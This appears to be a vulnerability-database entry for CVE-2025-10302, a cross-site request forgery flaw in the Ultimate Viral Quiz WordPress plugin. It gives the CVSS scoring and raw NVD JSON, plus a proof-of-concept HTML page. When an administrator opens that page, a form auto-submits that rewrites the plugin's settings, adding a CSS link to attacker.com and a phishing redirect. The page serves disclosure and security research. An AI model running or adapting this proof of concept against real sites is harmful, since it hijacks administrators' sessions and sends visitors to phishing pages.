Security Vulnerability Report
中文
CVE-2025-10302 CVSS 4.3 MEDIUM

CVE-2025-10302

Published: 2025-10-03 12:15:42
Last Modified: 2026-04-15 00:35:42

Description

The Ultimate Viral Quiz plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on thesave_options() function. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Ultimate Viral Quiz <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-10302 CSRF PoC --> <!-- This PoC demonstrates how to exploit the missing nonce validation in Ultimate Viral Quiz plugin's save_options() function --> <!-- Target: WordPress site with Ultimate Viral Quiz plugin <= 1.0 installed --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-10302</title> </head> <body> <h1>Loading...</h1> <!-- Auto-submitting form that targets the vulnerable save_options() function --> <form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/admin.php" method="POST"> <!-- The action parameter targets the Ultimate Viral Quiz settings page --> <input type="hidden" name="page" value="ultimate-viral-quiz" /> <input type="hidden" name="action" value="save_options" /> <!-- Malicious settings payload - modify plugin options --> <input type="hidden" name="option[quiz_title]" value="Hacked_Quiz" /> <input type="hidden" name="option[custom_css]" value="body{background:url('http://attacker.com/malicious.js')}" /> <input type="hidden" name="option[redirect_url]" value="http://attacker.com/phishing" /> </form> <script> // Auto-submit the form when the page loads // The browser will include the admin's session cookies automatically document.getElementById('csrf-form').submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10302", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:42.280", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ultimate Viral Quiz plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on thesave_options() function. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ultimate-viral-quiz/trunk/bestbugcore/classes/options.class.php#L28", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fbe32b9e-a6da-4257-b740-63a143cee42f?source=cve", "source": "[email protected]"}]}}